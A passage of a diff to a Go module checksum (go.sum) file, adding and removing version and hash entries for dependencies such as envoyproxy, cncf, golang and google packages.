h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= -github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= -github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230607035331-e9ce68804cb4/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -838,16 +82,13 @@ github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPqu github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -862,36 +103,16 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= -github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= -github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= -github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= -github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= -github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= -github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= -github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= -github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= -github.com/envoyproxy/go-control-plane v0.11.1-0.20230524094728-9239064ad72f/go.mod h1:sfYdkwUW4BA3PbKjySwjJy+O4Pu0h62rlqCMHNk+K+Q= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= -github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= -github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= github.com/envoyproxy/protoc-gen-validate v0.10.1 h1:c0g45+xCJhdgFGw7a5QAfdS4byAbud7miNWJ1WwEVf8= github.com/envoyproxy/protoc-gen-validate v0.10.1/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= -github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= -github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= -github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= @@ -902,45 +123,31 @@ github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeME github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= -github.com/go-fonts/dejavu v0.1.0/go.mod h1:4Wt4I4OU2Nq9asgDCteaAaWZOV24E+0/Pwo0gppep4g= -github.com/go-fonts/latin-modern v0.2.0/go.mod h1:rQVLdDMK+mK1xscDwsqM5J8U2jrRa3T0ecnM9pNujks= -github.com/go-fonts/liberation v0.1.1/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= -github.com/go-fonts/liberation v0.2.0/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= -github.com/go-fonts/stix v0.1.0/go.mod h1:w/c1f0ldAUlJmLBvlbkvVXLAD+tAMqobIIQpmnUIzUY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= -github.com/go-latex/latex v0.0.0-20210118124228-b3d85cf34e07/go.mod h1:CO1AlKB2CSIqUrmQPqA0gdRIlnLEY0gK5JGjh37zN5U= -github.com/go-latex/latex v0.0.0-20210823091927-c0d11ff05a81/go.mod h1:SX0U8uGpxhq9o2S/CELCSUxEWWAuoCUcVCQWv7G2OCk= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= -github.com/go-pdf/fpdf v0.5.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= -github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/goccy/go-json v0.9.11/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= -github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/glog v1.1.0 h1:/d3pCKDPWNnvIWe0vVUpNP32qc8U3PDVxySP/y360qE= github.com/golang/glog v1.1.0/go.mod h1:pfYeQZ3JWZoXTV5sFc986z3HTpwQs9At6P4ImfuP3NQ= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= @@ -948,9 +155,6 @@ github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= -github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= -github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= -github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -966,16 +170,12 @@ github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QD github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/flatbuffers v2.0.8+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -983,21 +183,12 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= -github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= -github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -1005,43 +196,15 @@ github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/s2a-go v0.1.0/go.mod h1:OJpEgntRZo8ugHpF9hkoLJbS5dSI20XZeXJ9JVywLlM= -github.com/google/s2a-go v0.1.3/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= -github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= -github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= -github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= -github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= -github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= -github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= +github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= +github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= -github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= -github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= -github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= -github.com/googleapis/gax-go/v2 v2.4.0/go.mod 